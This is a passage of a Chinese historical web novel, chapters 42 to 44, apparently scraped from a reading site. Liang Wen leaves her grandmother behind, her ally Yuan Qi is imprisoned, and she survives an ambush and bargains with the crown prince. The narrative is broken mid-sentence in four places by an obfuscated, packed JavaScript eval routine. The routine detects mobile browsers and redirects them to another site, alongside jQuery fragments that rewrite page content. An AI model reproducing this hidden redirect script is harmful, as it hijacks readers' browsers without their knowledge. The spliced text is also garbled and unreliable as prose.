“你瞧瞧自己,身上添了多少伤,自身都难保。”梁老夫人声音放轻:“温儿,听话。” “祖母会在这里等着你,活着等你来接我。” 任梁老夫人怎么说,梁温就是执拧着要将她带走。 梁老夫人甩下她的手,一个巴掌重重的扇了上去,梁温被打偏了头,眼尾殷红。 “疯够了吗?清醒了吗?” “怎么?你是想搭上我们祖孙俩儿的命吗?” “梁温,沈巍不会动我的,当年你父亲救过他,他再怎么绝情,也不会动我。且我活着对他更有用处,你放心吧。” 苏瞿白皱眉搀扶着她,却还是没说什么。 刘嬷嬷心疼的往前走了两步,但这是他们祖孙俩儿的事,他们掺和不得。 梁老夫人藏住颤抖的手:“还记得我第一次和你下棋时说过的话吗?” “梁温,别因为别人把自己困住了。不论用什么法子,杀出去,为自己杀出一条路来。” 梁老夫人背过身去:“以往二十年是我给你谋的路,今后你的路,自己来走。” 梁温陷入了两难的境地,一颗心被掰开了揉碎了。 杀出一条路来,何其艰难。 她怎么就护不住呢? 她能吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008183|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 将自己问住了,梁温愣在原地。 梁老夫人也静下来,火光映出这位老夫人不再年轻的面庞,眼角有着湿濡的泪,但未让任何人瞧见。 “梁温,这一次,祖母来做你的退路。” 梁温听完浑身一震,死死看向那个身影。 退路,第一次有人说要当她的退路。 好一个退路。 这句话一出,将梁温所有的话都堵住了。 梁老夫人什么都知道,只是她不说。 气氛僵硬,凝固住了。 在这一刻,她痛恨自己的无能。 她抹了把泪,强压下情绪,不再犯轴。 梁温拿开苏瞿白扶着她的手,不顾腿上的伤,跪在地上,重重的磕了三个响头:“孙儿来日接祖母。” 苏瞿白将她扶起,梁温重新杵上柺。 向外走到一半,梁温突然转头:“祖母,您说过的,您只有我了,我也只有你了。您得活着,长命百岁的活着。” 梁老夫人没回头:“去吧。” “您答应我。”梁温执着的要着一句承诺。 梁老夫人转身:“祖母会好好的,等着你加官进爵来接我。” “好。” 好半晌儿,梁温才从嗓子里卡出一句来。 “苏家小子,照顾好她。”梁老夫人对着苏瞿白的身影道。 “您认得我?”苏瞿白从未在两老夫人面前露过面。 梁老夫人温声开口:“我认得你父亲,还认得你那把刀。” 苏瞿白看向腰间挂着的玄色长刀,这把刀是他父亲给他的。 “我会的。”苏瞿白承诺。 两人就这样走了,还是元宝为他们引的路。 梁老夫人浑浊的眼瞬间湿润了:“她长大了。” 刘嬷嬷赶忙扶住她:“是,郎主早就不是当年那个稚童了。” “不,她……”梁老夫人落寞的坐下:“算了,终究不是她了。” “当年是我做错了。” 梁老夫人屏退了刘嬷嬷,独自一人走至屏风后,跪下拨弄着佛珠。 她的上首供奉着一尊木佛像,佛像下方,则是供了四樽牌位。 香已经燃尽了,桌案上徒留香灰,空气中还泛着浓重的檀香味儿。 梁老夫人跪坐着,像是虔诚的信徒。 县衙的火终究是被扑灭了,这火哪儿都没烧到,只是将官差们的住所烧了个一干二净。 孙磊再听到消息的那一刻就赶来了,看着眼前的余烬,一脸怒意的看着元岐:“你在闹什么?” “我没闹啊,这火又不是我点的。”元岐被孙磊的人围起来,丝毫不慌乱。 “唉,兄弟们都被拦住,心中不免有点怨气,怨气一上来就容易马虎。这也不是他们想看到的,毕竟县衙是他们另外一个家,断然没有道理烧了自己的家,这不是疯了嘛。”元岐嬉皮笑脸,丝毫不惧他。 毕竟孙磊只是个商人,而他们是正儿八经的官差。 孙磊蓦然一笑:“我是管不了你,但是沈节度使想不想管你我就不知道了。” 元岐甩开扇子:“哦。” 孙磊不想再看到他,转身回了马车。 元岐收敛了笑意,看着他离去。 拿沈巍压他,他贱命一条,有什么好怕的。 人啊,有时候真是得认清自己。 42. 厮杀阵阵 孙磊前脚刚走,徐良便打马而来。 他翻身下马,长腿横扫,衣摆被甩出一道弧线。 天蒙蒙亮,天边还能瞧见圆月的虚影。 元岐就这样看着徐良朝自己走来:“真是好久没见啊。” “走吧,主子找你。”徐良话少,将重点道出后就一直看着他,生怕他跑了似的。 元岐一直都等着呢,比他预估的来了慢了着。 他往前跟着走,身后被人围起来的王主薄喊了他一声:“元岐。” 他脸上带笑,转身走到王主薄身旁,将自己宝贝的折扇一下塞进他怀里:“老王啊,你不是总说我不拿你当兄弟嘛。这次,你总不会说了吧。” 王主薄拿着就要塞回去:“你自己的宝贝塞给我干嘛,我不要,你自己宝贝着。” 元岐强硬的拦住了他,看了眼旁边盯梢的人,将王主薄拉到一旁:“你别给我弄坏了,只是暂时交给你保管,我回来还得去你那里拿呢。” “那你搞得跟生离死别似的。”王主薄气的吹胡子瞪眼的,“我不要,又不是我的东西。” “拿着吧,没事的时候多扇扇风,降火。”元岐笑着说。 “没个正形,等县令回来让他收拾你。”王主薄一脸嫌弃的收下了,但嘴角却不自抑的上扬。 元岐贪恋的看了眼:“老王啊,有空去抖抖正堂画卷上的灰,毕竟是我的佳作,可不能埋汰了。” “你事儿怎么这么多呢?等你回来自己弄去。” 元岐见他一脸嫌弃样,突然笑道:“算了,都行。” 他潇洒转身,留下一句:“走啦。” 王主薄就这样看着他上了马,和徐良一块走人了。 彼时天边露出了一角日光,晕的橙红橙红的。 快要入冬了,丰泽县哪哪儿都透着寒气。 王主薄觉得自己的身子格外僵硬,许是冻了一夜的原因,热不起来。 元岐是被一路押送到沈府的,他们一路上日夜兼顾,可是沾染了好些风尘。 徐良扯过他的衣领将他拽下马。元岐踉跄地摔在地上,他的手用草绳捆在背后,狼狈的蹭起身来。 台阶上,沈巍和孙磊站在一起,冷眼俯视的看着这一切。 元岐丝毫不惧,笑着站起身来,和往常一样。 沈巍提步移至他面前,抬手扼住他的脖颈,凑近他的耳边:“元岐,你是个够胆的。” 随后甩开他的下颌,对着守在一旁的徐良道:“带下去,好好伺候着。我们元县丞嘴是个硬的,也不知道命够不够硬。” “哎,算命的说过,大难不死,必有后福,想必命应该足够硬。”元岐走了也不老实,走心的留下一句。 徐良嫌他话多,直接将团成一团的手帕塞进他的嘴里,也不管他能不能跟上,拖着就走。 孙磊咳了两声,走上前来:“当时我就说,他不是个能用的,你瞅瞅,现在出事了只能清理门户收拾烂摊子。” 沈巍定定的看他:“那就把这当成个前车之鉴,孙家主可别步了元岐的后尘。” 元岐被带到地牢,那里阴暗潮湿,关押的都是得罪过沈巍或者背叛他的人。 他走进时不少人起身看他,元岐看到不少熟面孔,都是他亲手关押起来的。 如今也算是,报应不爽吧。 牢房被打开,徐良将元岐扔在稻草堆上,里面的老鼠受到惊吓乱窜,牢房被锁上。 徐良一走,就有人朝元岐吐唾沫:“呸,你们都瞧瞧,这是谁啊?这不是光风霁月的元郎君吗?怎么,不给你家沈巍当走狗了?” “哎,这一看就是被主人抛弃了,可怜巴巴的。” “当初将我们压入地牢是有没有想到过你如今的境地啊?” 嘲笑讥讽接涌而至,在空洞的地牢里回响,元岐倒是坦然处之,翻过身来,躺在稻草堆上望着黑黢黢的顶部。 他们一见元岐根本没把他们放在眼里又是好一顿怒骂,直到地牢门口再次传来动静,才转身看去。 还是徐良,不过这次带来的人是位白衣女子,众人眼睛都看直了,多少年没见过荤腥了。 眼中的欲望遮都遮不住,恨不得扑上前去。 徐良按照沈巍的吩咐将柳薇与元岐困在一处,果不其然看见元岐猛地坐起身来。 柳薇将他口中的帕子取下,坐在他旁边,环视周边的潮湿的环境后有些嫌弃的皱眉。 元岐用肩膀撞了撞她,示意她将他手腕上的绳子解下。 柳薇这才为他解下。 “你怎么也暴露了?”元岐问了句废话。 柳薇摘掉衣裙上的杂草:“沈巍不蠢,意识到不对后自会派人去查。不出意料你家应该被翻了个底朝天。” “孙磊一早就去围堵了县衙就只是守着梁老夫人吗?暗地里他早就将你的府邸给包抄了,后来在县衙找到你告假的记录,又去为你接诊的医馆顺着查下去,你暴露的不冤。” 元岐一噎:“我是问你。” 柳薇环抱着双膝:“我啊,还真是不凑巧了。梁旭川当年的旧部正好在幽州改名换姓生存下去了,沈巍废了大力气去找,找到了拿着他的妻儿威胁一番,就什么都交代了。而那个旧部知晓我的存在,一听到我的名字自是露了破绽。” 元岐躺下去,看着柳薇瘦弱的脊背:“想不到你谋算半辈子,竟然在名字上栽了。你当年就应该改名换姓,这样说不定还能逃过一劫。” 柳薇偏头看向他:“我为什么要改,错的不是我,凭什么要我改名换姓苟存于世?我想做的都做了,死了又何妨。我不会为我的名字而提心吊胆,该惊该怕的是他们才对。” 说完,柳薇笑了起来,笑得有些偏激,有些疯。 畅快的笑声迭荡在牢中,格外瘆人,原本还对她有所觊觎的人浑身打了个激灵,暗骂一声死疯子。 “元岐,我早就不想活了。” “世上走一遭,走够了。” “该做的我都做了,不该做的我也插手了,往后就看她自己的造化吧。” 柳薇这辈子算是尝尽了世间的苦,最后一无所有,唯余满身愁恨,压得她喘不过气来。 机关算尽,所有人被她耍的团团转,明明是一件畅快淋漓的事才对,可她却感觉不到任何欣喜。 只有满身的疲惫。 她真的该歇歇了。 元岐曾问过她如此算计不怕死后入了阿鼻地狱不入轮回吗? 她怎么回的来着,想起来了:“如今我已经自顾不暇了,哪能还管死后。” 如果她所愿皆能达成,死后怎么都成。 此时,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正在他挟制一人时,又一人横刀砍来,苏瞿白一手握住那人刀柄,一手将刀横出:“梁温。” 梁温转头反手将匕首刺出,正中喉咙,苏瞿白也趁势弯腰挥刀砍向马腿。 嘶鸣声响起,马匹连带着人全倒了下去。 顾上这儿,就顾不及刺来的箭矢。 即使他已经尽力闪躲,右肩还是被刺穿。 用力一折,血珠顺着往下滴落。 中箭的不止是他,还有梁温和苏瞿白身下的马。 马匹双腿一跪,重心前倾,梁温和苏瞿白不受控制跌落下马。 这下被团团围住,冲向他们的是刀光剑影。 梁温看着身侧厮杀的苏瞿白,将性命丢在身后,不管不顾的握着匕首刺向对方。 倒下了一人又一人,但还是太多了。 就在他们撑不住时,又一阵马蹄声响起。 “主子,县令,我们来了——” 梁温精疲力竭,此时却忍不住生笑。 他们,得救了。 来的人,是陈虎和追风带来的。 又一波厮杀,苏瞿白和梁温也没松懈,边杀边躲,身上早已狼狈不堪。 干涸的血迹仿佛浸到了骨子里,去不掉了。 日光晃眼,一地残尸。 梁温看着颤抖的手,眼前渐渐失去色彩,只留下无尽的黑。 43. 险中求生 廊下有细碎的轻语,夹杂着娇俏的笑声,一并传入梁温的耳中。 她缓缓睁开眼,陌生致雅的内室燃着淡淡的熏香,窗纸上投下两道影子,那声音就是从她们口中传出的。 她撑着身子坐起来,乌黑的发垂落到腰际,床榻旁放着拐杖,而榻下则是一双绣花鞋。 梁温掀开被褥,垂眸抚上胸口,那里裹得严实的布被取下,束缚感不再。 身上雪白的里衣柔软顺滑,梁温突生恍惚感,彷佛昨日种种皆是梦幻泡影。 廊下两道身影见礼:“郎君好。” 梁温抬眼看去,与推门而入的苏瞿白对视,恍惚被打破,悬着的心一下就落回实处。 “醒了。”苏瞿白走至榻间,温声问着。 梁温瞳孔被映出两分光亮:“这是哪儿?” “河东节度使府上。” 梁温垂眸看着自己的手,这双孱弱的手沾了鲜血,杀了数人。 苏瞿白见她失神,挑了要紧的事与她说:“太子在这儿。” 梁温怔然,转头看他:“苏瞿白,太子现在是不是天底下最尊贵的人。” 她这话说的很有意思,天底下最尊贵的人莫过于圣上,而梁温却直言太子,其中含义不言而喻。 “是。”苏瞿白直言。 梁温蓦然勾唇,偏冷的声音软了点:“苏瞿白,我与你做个交易。” “不做。” 梁温愕然,却死咬不放:“要做,你想要什么你来定,我给的起。” 苏瞿白看着眼前这个人,瘦的只剩下一把骨头架子,薄薄的皮贴在骨头上,明明称不上好看,但那双眼又似燃着火一般,将她整个人给点燃了。 瘦了,眼睛就更大了,薄薄的眼皮被划出红肿的一条血痕。 “不做。”苏瞿白依旧那样说。 她眉头皱起一道褶,眼角下压,显得有两分锐利:“为什么?” “不需要做交易,你想要什么尽管拿去,你想干什么尽管去做,捅破了天我帮你顶着。”苏瞿白有些心疼她。 梁温余下的话哽在喉间,不上不下。 “那就多谢苏少卿慷慨了。”她黑色的眸似是蒙了一层雾,雾下张狂叫嚣的鬼火被压制着,不得自在。 “还是那句话,你想要什么你来定,我给的起。”梁温见苏瞿白还要开口,直接道:“苏瞿白,如今的我,不想再欠任何人了。” “……好。” 苏瞿白问她:“你要怎么做?” “投诚。”梁温缓缓闭上眼,再睁开,一切情绪又被压下。 苏瞿白突然知道梁温想要做什么了,孤注一掷,将饵全部抛上去,去搏一个不明的前途。 “你先出去吧,我要更衣。”梁温扶着腿,拿过旁边的拐杖杵起来。 “我去将外面两个丫鬟叫进来,她们为你备了衣裳。”苏瞿白推门而出,对着廊下的两人道:“好生伺候着。” “是。”两人齐齐回道。 不到片刻,两个丫鬟碎步走来,一人手中端着铜盆,一人手中端着襦裙。 “娘子。”她们行礼又起身,头却未曾抬起。 梁温视线落在那套襦裙身上:“给我拿一套玄色胡服来。” “是。”那人退下,余光偷偷看了一眼。 苏瞿白一直等在外面,见她出来又换了一套胡服进去也没说什么。 片刻,两个丫鬟推门而出,退出院子。 梁温这才出屋,站在苏瞿白身边。 河东节度使的府邸景色不错,假山与石桥撞在一起,而下一边是清湖,一边是荷花塘。 可惜,现下将要入冬,塘里只剩下些残荷枯叶。 两将比对,生机与死气由那道桥分割开了,但残荷枯叶却更抓人眼。 苏瞿白将手边的一应东西都递过去,梁温翻看了眼,皆是沈巍的罪证。 至于孙磊,不愧是狡诈奸猾的人。 孙家归根究底也只是为沈巍提供布匹,没有账目为证,谁知道他们之间到底是交易还是勾结,所以谁都不能给孙家扣下勾结幽州节度使的名头。 而且,孙家身为皇商,与天下商户往来甚密,若是将孙家连根拔除,盛朝的商运算是折了一半。 除非有人能够完完整整的接替孙家成为百商之首,不然,孙家的地位且稳固着呢。 这就是孙磊的聪明之处,一手制衡之术玩的是真不错。 只是可惜了,他跟错了队,惹错了人。 梁温此次投诚的敲门砖便是这皇商孙家,没有什么是代替不了的,也没有什么是天衣无缝的。 梁温就觉得,这孙家,处处有漏洞。 “怎么换了一套?”苏瞿白看着湖面开口。 梁温则是盯着残荷里的鸟雀:“还不到时候。”这女子的身份她迟早会光明正大拿回来。 “走吧,他们在书房等候已久了。”苏瞿白挽住她的手臂,带着她一路行至河东节度使府上的书房。 在她来的一路上,每隔一丈就有一人守着,除此之外还有些许巡逻的。 梁温敛下眸,心中稍有成算。 苏瞿白两人才至,就有人推开了书房的门。 梁温杵着拐,有些狼狈的跳入略高的门槛,她低垂着头,作势要跪。 “免了。”屏风后懒散的声音传出,梁温抬眼,透过薄纱般的屏风看到两个人影。 苏瞿白没动,就在一旁扶着她。 屏风后的两人见他那样还颇有兴致的对视一眼,嘴角含着揶揄的笑。 “臣梁温见过太子殿下。” 又是一道懒散的长嗯,有些玩世不恭的意味。 听着不像是个好相与的,也是,贵为一国储君,除了上头那位,他需要把谁放在眼里。 况且,如今上头那位已经是那般的油尽灯枯。 李恪本想等着她的下言,却没想到她直接就站在那儿不动了,一言不发。 这倒真让他抬眼看了下,心中起了点兴致:“你来见孤是为何?” “臣特来请罪。”梁温锵然有声,一字一句说的格外清晰。 “你有何罪?”李恪支着头,在棋盘上落下一子,河东节度使常瞑河紧接着落下他那子。 正好形成包围之势,将李恪的黑子吃掉。 他将黑子一颗颗捡起,最后一颗夹在指尖朝他示意。 李恪兴致缺缺的又落下一子,心思根本没放在棋盘上。 “欺君之罪,罪不容诛。”八个字落下,寂静无声。 李恪将指尖的黑子扔进棋娄,直起身:“明白了,上孤这儿找死来了。想死就去死,别在孤这儿找晦气。” 他的话毫不客气,却也听不出怒意。 梁温差不多试探够了,初步了解了他的性情。 “但臣觉得,死了倒是太便宜臣了。” 李恪转着玉扳指:“哦?那你觉得怎样才能赎罪啊?” 梁温冷静道出:“臣愿成为殿下一把刀,一把无往不利的尖刀。” 李恪不感兴趣:“孤的刀太多了,不少你一个,说出能打动孤的筹码。” “皇商孙家。臣能刀不见血的帮您将孙家连根拔起,且能帮您重建一个全新的、只属于您的皇商出来。” 李恪和常瞑河对视一眼:“说说。” 梁温将沈巍的罪证交上去,李恪翻看一眼就丢在了一旁。 沈巍必死,在他这儿算不上什么筹码。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035509|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣方才呈上去的是幽州节度使沈巍的罪证,但想必对于殿下来说不足为重。臣呈上去的目的只是提醒殿下,臣的功绩。” “孙家为百商之首,与天下间的商户交往甚密,你来我往,早就断不开了。若是妄动,轻则经济凋敝,重则影响我朝商运数十年甚至百年。虽然孙家一直为幽州节度使提供布料,但却没有实质的证据能够揭露出他们是依照商规进行交易往来还是借此遮掩他们勾结之实。” 梁温清晰的分析着局势,其中不免有夸大的成分,但赌的就是那万分之一,赌的就是那颗不容有失的心。 李恪和常瞑河的目光全部落在了她的身上,李恪率先出声:“你有法子?” “臣有。”梁温笃定道。 李恪捡了颗棋子放在手中把玩:“说说。” 梁温的手心渗出汗液:“法子臣有,但臣有一条件。” “孤不与你追究身份之事,你尽管将法子道来。” “臣不求这个,臣只要祖母。臣见到人,自会倾囊相告,见不到人……”梁温低头哂笑一声:“不过是一条命,殿下想要拿去就是。” 梁温就是在赌,她注意到这一路上护卫众多,看腰牌不像是普通护卫,所以她在赌这位太子殿下是位惜命的。 且他尊为太子,来到河东不就是为了沈巍吗?那她就可以斗胆一猜,李恪对这件事很重视,如果成了,就可以在他的史书上添上一笔。 毕竟,太子也是需要功绩虚名的。 李恪被她这胆大包天的话气笑了,脸上笑得生艳,眼中却不见喜意。 他站起身来,掸了掸衣袖,缓步朝下走。 越过屏风,直直来到她面前,一字一句道:“你在威胁孤?” 梁温不看他:“臣不敢,臣只是客观陈述。于臣而言,天下种种敌不过臣的祖母,但于殿下而言,天下种种却重如巍峨高山,不可轻视。” “孙家于江山而言太过渺小,于万民而言也不过尔尔,但殿下终是江山之主,万民之君。孙家于您而言,重又不重。且外敌环伺,边关连年吃紧,孙家您就更是动不得。” 梁温这话说的格外有意思,若是李恪没能采取她的法子,轻易动了孙家造成经济受损,外敌环伺军需耗费极大,常年亏损说不定会动摇根本。 国之社稷,一分一厘都是重中之重。 不得不说,梁温这是踩在老虎身上蹦跶。 李恪收敛了笑:“梁温,你是个聪明的。” “臣愚笨。” 梁温确实觉得自己愚笨,若不是愚笨怎能抱有侥幸独善其身,若不是愚笨怎会让祖母成了她的退路,若不是愚笨怎会在他人的圈套中栽了一次又一次。 她蠢笨,她自负,她狂妄自大。 “苏瞿白,她是你带来的,她的要求,你与常瞑河一同去办。”话落,李恪转身出了书房。 其实也不一定非得是梁温,但是毕竟梁温与孙家周旋那么久了,手里说不定真有孙家的把柄。若是换个人,也不一定除不掉孙家,不过时间长短不说,代价不一定能够降到最低。 常瞑河正倚在墙边上看戏,结果这把火就烧到了他身上:“怎么又扯上我了呢?” 梁温看向他:“梁温在此先谢过常节度使和苏少卿。” 常瞑河摆摆手:“好说好说,过后请我喝酒听曲儿就成。” 苏瞿白没应声,看了常瞑河一眼,示意他收敛些,随后扶着梁温回去。 萧瑟的秋尾风打着旋吹进,常瞑河看着独剩他一人的书房长叹一声。 他的心就如同这秋风一般,萧索、幽寂。 又是一声长叹,常瞑河也转身走人,出府去花楼寻欢作乐。 不见方才半点忧思之意。 44. 异地同思 轻纱摇曳,四角亭内的石墩上,梁温端坐着。 浓浓夜色上涌,廊下裙摆微动,悬垂于地面的灯笼透出暖暖的光,一路行至四角亭下。 丫鬟打着灯,臂弯里放着貂毛裘衣,透着薄薄的轻纱看向亭下的背影:“娘子,起风了,奴给您拿了披风。” 淡淡的一声嗯,梁温没动,手支着下颌,也不知看向何处。 丫鬟上前,将灯笼放在台阶下,给梁温披上并系好。 “你叫什么?” “奴名秋霜。”秋霜退到她身侧守着。 梁温站起身:“倒是与这景相衬。” 秋霜瞧着十五六岁的俏模样,脸颊还是圆润润的,一双杏眼细眉温温顺顺的,细皮嫩肉,头上簪着珠花。 “娘子,苏少卿来了,在偏房等你。”说罢,秋霜便要搀扶着她。 梁温微微侧身,拿起拐杖杵着:“你为我打灯即可。” 秋霜颔首,拾起灯笼走在梁温身侧。 屋内已经续上火盆,银丝炭烧得通红,苏瞿白手放在肩上按着。 梁温一进来就注意到,那里正是被箭射穿的地方。 她关切的问了句:“换药了吗?” “嗯,才换过。” 苏瞿白来此是为了告知她幽州近况以及她祖母的事,知道她心中焦急,他也不再绕弯子。 “据探子来报,幽州戒严了。梁老夫人一直被孙磊的人盯着,明面上说是护着她的安危,实际上是被幽禁了。县衙一众人等,全都被孙磊关进了牢狱中,目前没有伤亡。” 梁温收紧手,掌心攥着那颗仅剩的佛珠:“你们打算何时行动?” “三日后。常瞑河已经集结了人手混入幽州,先将县衙的守卫换一番,届时他们会制造一场混乱,我和常瞑河会暗中通过你院中的地道将人带走。到时幽州与河东的交接之处会派人接手。” “好,多谢苏少卿,也替我向常节度使表达谢意。” 苏瞿白拿过旁边的凳子,梁温顺着坐下。 “时间太短,拿不出什么万全之策。但你祖母,我一定给你接回来。”苏瞿白看着她泛红的指尖,起身将火盆端近一些。 梁温感受到身侧的暖意,垂下眸不语。 这已经很好了,若是没有他们,单单靠梁温,想从铁桶一般的幽州将人救出简直是痴人说梦。 不说别的,就她这条残腿都是累赘。 “常瞑河还在书房等我,你早早歇下,别把身子拖垮了。” 苏瞿白见梁温今日时常失神,削瘦的脸颊看不见往日红润。 兴许是怕她不听,又道:“待你祖母回来,她该心疼了。” 梁温抬眼看他:“我会的。” 炭盆里时不时有火星迸溅,发出嘎吱一声。 苏瞿白走人,梁温想了想还是起身相送,一路将他送出院中。 秋霜一直在旁边跟着打灯,就在梁温转身要回去时,与拐角冲出来的身影撞上。 秋霜吓的将灯笼扔在地上,赶忙扶住她。 与灯笼一同坠在地上的是灰袄的小厮和他手中的鸟笼,鸟笼不禁摔,底盘掉落在地上咕噜几圈,里面的灰鸽正要跑就被小厮一把攥住藏进怀中。 秋霜扶稳梁温查看一番见没什么事便蹙着眉骂道:“从哪冒出来个瞎眼的,行事莽莽撞撞还冲撞了贵人,要是管事知道了定会扒你一层皮去。没个这样做事的,长了双眼睛是用来供着的。” 灰袄小厮忙跪地告饶,怀中的灰鸽却护的禁:“是奴瞎了眼。” 秋霜不依不饶,红润的小嘴淬了毒了似的:“当然是你瞎了眼,两条腿不要就锯了,哪的搁这儿碍事。” 她这一通话说得,梁温偏头看她倒是新奇。 “行了,让他走吧。”梁温懒得计较这些,她腿被撞的有些疼,此时寒风朔朔,冻的身子都有些僵了。 “还不走。”秋霜见他不动,作势要上前踹他,灰袄小厮连滚带爬的走了。 两人的背后,灰袄小厮暗中偷窥了几眼,忙抱着灰鸽走了。 “娘子别见怪,那个小厮是专门为郎主饲养信鸽的,平日不怎么在外走动。今日也不知怎的,这般着急,还冲撞了您。”秋霜也不是个真心狠的,将人吓跑后又为他开脱起来。 梁温多问了两句:“这府上的信鸽都由他一人饲养?” “是,他看起来虽然矮矮小小其貌不扬,可一手饲鸟的本领别人还真学不来。府上的信鸽被他养的溜光水滑的,平日里最听他的话。” 梁温嗯了一声,回了院子。 天才破晓,梁温在门口送别苏瞿白和常瞑河。 天色呈蓝灰,夹杂着一点白,阴阴的。 几人没再多言,苏瞿白和常瞑河跨马而上,握紧缰绳,夹着马腹就走了,身后数十位常服挂刀护卫紧随左右。 梁温看了许久,长街上人影渐密,她才堪堪收回视线。 转身时眼角余光看到蓝灰的天划过一道灰影,待她细细看去却没看到什么。 她停在原地,眉头微蹙。 应当是最近忧思过虑,眼前都莫名出现残影了。 梁温才踏进府门,太子身边的侍从便迎上来:“县令,殿下找您。” “走吧。”梁温一瘸一拐的往主院赶去。 院中依旧和梁温见过的那样,数不清的护卫守着。 李恪身穿大氅坐在院中石桌前,石桌上放着一盘残棋,他的手里还执着黑子。 梁温行礼起身后粗略扫了眼,白子要输了。 “会下棋吗?”李恪丝毫没有看她,专注的看向棋局。 梁温看向那盘棋:“略懂。” 李恪懒散的将指尖的黑子扔回棋娄里:“看出什么了?” “白子要输了。”梁温顺着他往下说。 李恪这才看她:“能瞧出来可不像是略懂啊?” 梁温不接话,李恪也没打算让她开口:“这局残棋是我与苏瞿白一同下的,他还没下完就走了,怪不尽兴的,如今你来了,便替他下完吧。” 院中偶有落叶飘下,天更阴了。 梁温坐在李恪对面,身旁的秋霜将拐杖拿走。 她拿起一颗白子落在纵横交错的棋盘上,李恪看她下的这个位子格外有意思,不像是深思熟虑才放下,更像是随意的放。 “认真点,若是你赢了,孤许你一个承诺。” 李恪随口一句,梁温却上了心,认真了几分:“殿下说的可是真的?” “孤说过的话从不收回。”李恪落下一子将白子又吞杀掉,在他看来,梁温根本赢不了。 这局棋,白子必输。 梁温又问了一遍:“无论何种方式,只要赢了就可以是吗?” 李恪轻笑一声,这棋无论怎么下都不可能赢了。世上哪来那么多绝处逢生,逆转时局。 他笃定的点头:“没错。” 梁温也笑了,近些日来她头一次笑。 李恪看好戏一样看着她,却见梁温并没从棋篓里拿出棋子,而是用手指将棋盘上的黑子一一拿走。 “呵。”李恪看笑了,这确实是他没想到的。 梁温毫不谦卑道:“殿下,结局已定。” 李恪这才反应过来,刚才梁温多问那一句的含义。 “谁教你这么下棋的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050608|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他扔掉手里的黑子,向前俯身,一双眼有些发利。 “没人教臣。只是臣的祖母说过,永远不要把自己困住,若是被困住了,不论用什么法子,都要为自己杀出一条路来。”梁温也同样看去,丝毫不惧。 李恪定定的看着她,随后站起身来:“你的祖母倒是个有意思的人。” “孤说过,但凡开口从不收回。这次算你赢了,好好想想你想要什么,想到了告诉孤。”李恪揉了揉手腕,又抬眼看了眼灰蒙蒙的天:“这天可不太好。” 话落,他便往里屋去了。 梁温只身留在院中,秋霜拿来她的拐杖。 梁温缓缓叹气,将棋盘上的棋子捡回棋篓,随后拢了拢身上的披风。 柔软的皮毛蹭过她的脖颈,更加衬得她肤色欺寒赛雪。若是脸颊上在有些肉,就像是高门府中养出来的贵公子。 不,若是换上襦裙,就是高门贵女。 她的行止间依旧缓慢,才掠过府上的小花园,天地间便有簌簌雪花飘落。 细碎的雪才落在地上便化了去,梁温停下,伸出手掌。 一片都接不住,没有雪花愿意落在她手上。 下雪了,她想。 这是她来之后的第一场雪。 不大,纷纷扬扬的,好漂亮。 应该再大些,最好将天地裹上,将那些腌臜、不堪、污浊通通掩盖,然后随着雪化时一齐流掉。 梁温才想将指尖收回,便有一粒雪要落在她掌心,可惜,过堂风吹过,那粒雪飘走了。 她的视线紧紧追着,直到再也找不到。 会吹到他那里吗? 这过堂风吹的久,吹的远。 朔朔寒风刺骨,苏瞿白的眼睫上落下一粒雪,随后便化成了水。 马背颠簸,那滴水珠终是坠落。 “下雪了。” 将自己遮的严严实实的常瞑河有些兴味的伸出手:“这样好的景就应该备上火盆和清酒,好好畅饮一番。” 空旷的原野上,枯树上还有些没掉的叶子,焦黄的土地被黑沉的天映的发青。 苏瞿白手上缠了布条,面上覆了面巾,只露出俊逸的眉眼来。 他勒住缰绳,马蹄上扬,嘶鸣声响彻天地。 他横腿下马,走到一棵枯树后坐下,敞开胸膛,绑着的布条透出血迹。 苏瞿白垂着眸子把脏了的布条扯下,将药粉洒在肩上的伤口。 跟着的数十人照做,同样勒紧缰绳下马。 常瞑河舒展臂膀:“先用干粮,歇会儿咱们再走。” 随后晃晃悠悠来到苏瞿白面前,倚靠着树,肩头上落了些雪。 “你这又是何必呢?本来身上就带着伤,还骑得飞快,你这伤口不崩谁崩。” 苏瞿白没搭理他,任由他碎碎念。 利落的将自己伤口处理好,将怀中包着的干粮扔给他。 他留了一块,冷硬的很。 常瞑河见他不搭理,顺势坐下来,咬了口干硬的饼,好奇开口:“殿下今早找你干嘛啊?” 苏瞿白停下,沉默一瞬:“找我下棋。” 